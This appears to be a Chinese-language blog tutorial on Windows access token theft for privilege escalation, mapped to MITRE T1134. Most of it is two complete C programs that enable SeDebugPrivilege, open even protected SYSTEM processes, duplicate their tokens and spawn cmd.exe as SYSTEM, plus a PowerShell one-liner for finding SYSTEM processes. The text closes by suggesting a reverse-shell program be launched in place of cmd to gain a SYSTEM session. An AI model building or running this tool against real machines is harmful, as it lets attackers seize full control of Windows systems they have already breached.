在上文中我们了解了对应的过程,本文我们将讲解该种攻击的具体实现细节.。
进行这种攻击我们需要几个windows api他们的名称以及作用如下:
过程是:
language
openprocess() --> openprocesstoken() --> impersonateloggedonuser()--> duplicatetokenex() --> createprocesswithtokenw()
然后我们可以轻易的写出一个窃取令牌并启动程序的例子,我这里以irde的代码为例:
```C
include "stdafx.h"
include
include
int main(int argc, char * argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3060;
wchar_t cmdline[] = L"C:shell.cmd";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}
```
运行该程序,我们就可以获得一个3060进程令牌权限运行的shell.cmd的进程。当然,你需要有这个进程的访问权限。
然后我们继续该问题的探究,上文的运行程序+pid号,获得cmd的程序是primarytokentheft,可以在github上找到。
然后我们就实现了上述功能得到了一个system的cmd:
但是也并不是所有的进程都都是可以被操作的,比如看下面的这个图:
我们可以清楚的看到wmiprvse进程便无法被打开,主要是无法打开token。
那么为什么会出现这种问题呢?
对比两个程序,我们可以轻易的看到其中的区别:
那么怎么样才能绕过这种限制,让我们的可以随意操作任意进程的令牌呢?先不急,我们先看一下所有的令牌,因为我们的目的就是获取system令牌。
使用下面的脚本进行获取(https://gist.githubusercontent.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56/raw/eaddf4151ebe4345623b7066a2c768665805fcad/Get-Token.ps1)
然后简单修改下,变成只获取system权限的进程:
```language
get-token | where-object {$.username -eq 'NT AUTHORITYSYSTEM' -and $.ownername -ne 'NT AUTHORITYSYSTEM'} | select-object processname,processsid|format-table
```
这样列出的进程和进程号,是只为system权限的进程。
然后经过测试发现像csrss、service、wininit、smss等token获取失败
查看发现存在同一个问题:存在protect
根据微软文档,我们可以知道
只需要在openprocess中将第一个参数改成PROCESS_QUERY_LIMITED_INFORMATION即可。
那么只需要在primarytokentheft里面加一个判断即可,修改后的代码如下:
```C
include
include
include
BOOL SetPrivilege(
HANDLE hToken,
LPCTSTR lpszPrivilege,
BOOL bEnablePrivilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))
{
printf("[-] LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %un", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
if (argc <= 1) {
printf("USAGE: TokenSteal.exe Process PID");
return -1;
}
printf("Primary Access Token Manipulation by lengyi nn");
printf("[+] Current user is: %sn", (get_username()).c_str());
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!n");
}
HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!n");
else
{
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL) {
printf("[+] OpenProcess() success!n");
}
else
{
printf("[-] OpenProcess() Return Code: %in", processHandle);
printf("[-] OpenProcess() Error: %in", GetLastError());
}
}
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!n");
else
{
printf("[-] OpenProcessToken() Return Code: %in", getToken);
printf("[-] OpenProcessToken() Error: %in", GetLastError());
}
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!n");
printf("[+] Current user is: %sn", (get_username()).c_str());
printf("[+] Reverting thread to original user contextn");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %in", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %in", GetLastError());
}
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %in", duplicateToken);
printf("[-] DupicateTokenEx() Error: %in", GetLastError());
}
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %in", createProcess);
printf("[-] CreateProcessWithTokenW Error: %in", GetLastError());
}
return 0;
}
```
此时,我们便可以获取任意进程的token:
将启动cmd更改为我们的反弹shell程序,即可获取的一个system的session:
参考文章:
https://attack.mitre.org/techniques/T1134/
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex?redirectedfrom=MSDN
https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
溢出漏洞 下面的内容皆是自己的一些理解,没有太多专业术语。 溢出漏洞说白了就是对边界没有检验,而导致原先不应该在这里的数据反而阴差阳错的出现在了这里。 我大体的对溢出漏洞分为了两种: 数据溢出 缓冲区溢出 第一种数据溢出应用场景主要是针对外挂和破解 第二种缓冲…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论